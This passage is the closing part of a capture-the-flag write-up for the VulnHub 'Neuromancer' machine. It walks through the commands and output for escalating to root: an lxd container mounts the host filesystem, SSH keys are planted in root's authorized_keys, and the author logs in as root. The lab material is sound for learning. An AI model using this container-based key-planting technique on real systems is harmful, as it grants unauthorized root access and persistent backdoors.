root@renewing-ghost:/mnt/root/root# ls
flag.txt  struts2  this.log  velocity.log
root@renewing-ghost:/mnt/root/root# cat flag.txt
be3306f431dae5ebc93eebb291f4914a
root@renewing-ghost:/mnt/root/root#

But we are not done yet. For the plan to work, we need to be able to write to root (i.e. /mnt/root/root):

root@renewing-ghost:/mnt/root/root# echo hello_from_renewing_ghost > hello.txt

And

root@renewing-ghost:/mnt/root/root# cat hello.txt
hello_from_renewing_ghost
root@renewing-ghost:/mnt/root/root#

Yes …. It works! So … now we just need to get a root shell.

Step 7: SSH Key generation

Now that we have write access, we need to generate a set of ssh keys. While still in your container bash session (renewing-ghost), the process involves:

  • Running ssh-keygen. Pick whatever options you like, but ensure the files get saved to /mnt/root/root/.ssh
  • Create an authorized_keys file
    touch /mnt/root/root/.ssh/authorized_keys
  • cat the contents of the newly created public key to the authorized keys file:
    cat /mnt/root/root/.ssh/id_rsa.pub >> authorized_keys

The contents of /mnt/root/root/.ssh should now look like:

root@renewing-ghost:/mnt/root/root# ls -lah .ssh
total 24K
drwx------ 2 root root 4.0K Feb 13 21:35 .
drwx------ 8 root root 4.0K Feb 16 21:35 ..
-rw-r--r-- 1 root root  400 Feb 13 21:36 authorized_keys
-rw------- 1 root root 1.8K Feb 13 21:35 id_rsa
-rw-r--r-- 1 root root  400 Feb 13 21:35 id_rsa.pub
-rw-r--r-- 1 root root  222 Jul  4  2018 known_hosts
root@renewing-ghost:/mnt/root/root#

Step 8: Copy over keys to your attacking box

The easiest way to do this while in the ‘renewing-ghost’ bash session was simply to cat the contents of id_rsa and id_rsa.pub to the screen, then copy/paste to your favorite text editor in your attacking box. Make sure to chmod 400 the files, otherwise the keys will be ignored when you attempt to use them (I wasted a bit of time wondering why on earth the keys weren’t working until I did that).

Step 9: Log in as root to Neuromancer

This is the fun bit after all the hard work!

root@009-klvfi200:~# ssh -i /root/vulnhub/wintermute/neuromancer/exploit/root/id_rsa -p 34483 root@192.168.47.4
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/exploit/root/id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Sat Feb 16 13:14:53 2019 from 192.168.212.3
root@neuromancer:~# 

Time to grab the usual details:

root@neuromancer:~# id
uid=0(root) gid=0(root) groups=0(root)
root@neuromancer:~# whoami
root
root@neuromancer:~# cat /root/flag.txt
be3306f431dae5ebc93eebb291f4914a

^^ pwnage! The box has been totally compromised! :-)

Conclusion

All in all, Neuromancer was an incredibly interesting machine. Just in order to get to it, I had to root another box (Straylight) and then learn how to use socat properly to pivot. Once I had a low priv shell on Neuromancer, the privesc enumeration was fairly straight forward … at least for the kernel exploit route. However, I’m glad that I found the lxd route hiding in plain sight.

I’ve only ever dabbled in containers (Docker) before to do some lab work on specific vulnerabilities, but I’d never actually used a container configuration issue to gain root on the host. I searched around to determine if other writeups cover this angle, but I’ve not spotted any to date. So … it’s nice to do something new that others may find useful.

Cheers to cresote for an awesome learning experience, and also to @reboare for the great insight to the lxd issue, and @ropnop for the excellent socat article. I’ve learned a lot from you all, so this is a small way of me ‘giving back’

p.s. As menioned earlier, stay tuned for a further update on how to create your own lxc container to ‘play along’ with my writeup.